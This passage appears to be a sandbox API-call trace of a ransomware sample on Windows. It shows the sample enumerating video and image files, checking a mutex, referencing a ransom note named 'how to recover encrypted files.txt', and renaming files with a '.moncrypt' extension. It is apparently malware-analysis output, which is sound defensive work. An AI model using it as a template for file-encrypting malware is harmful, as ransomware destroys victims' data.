lpsz="bear_formatted_rgb6.wmv", cchLength=0x17 | out: lpsz="bear_formatted_rgb6.wmv") returned 0x17 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmvp", lpUsedDefaultChar=0x0) returned 76 [0057.503] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyGirl\\bear_formatted_rgb6.wmvp", lpUsedDefaultChar=0x0) returned 4 [0057.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 0x54e280 [0057.503] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.503] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.503] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.504] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", dwFileAttributes=0x20) returned 0 [0057.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.504] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.moncrypt")) returned 0 [0057.504] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0057.504] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.504] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.505] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.505] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.505] GlobalUnlock (hMem=0x44000c) returned 0 [0057.505] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.505] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.505] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.505] GlobalUnlock (hMem=0x44000c) returned 0 [0057.505] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.505] GlobalUnlock (hMem=0x440004) returned 0 [0057.505] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.505] CharLowerBuffW (in: lpsz="Bear_Formatted_RGB6_PAL.wmv", cchLength=0x1b | out: lpsz="bear_formatted_rgb6_pal.wmv") returned 0x1b [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", cchWideChar=80, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmve", lpUsedDefaultChar=0x0) returned 80 [0057.506] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmve", lpUsedDefaultChar=0x0) returned 4 [0057.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.506] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.506] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.506] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.507] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.507] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.507] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.moncrypt")) returned 0 [0057.507] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0057.507] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.507] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.507] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.507] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.507] GlobalUnlock (hMem=0x440004) returned 0 [0057.507] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.508] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.508] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.508] GlobalUnlock (hMem=0x440004) returned 0 [0057.508] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.508] GlobalUnlock (hMem=0x44000c) returned 0 [0057.508] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.508] CharLowerBuffW (in: lpsz="btn-back-static.png", cchLength=0x13 | out: lpsz="btn-back-static.png") returned 0x13 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 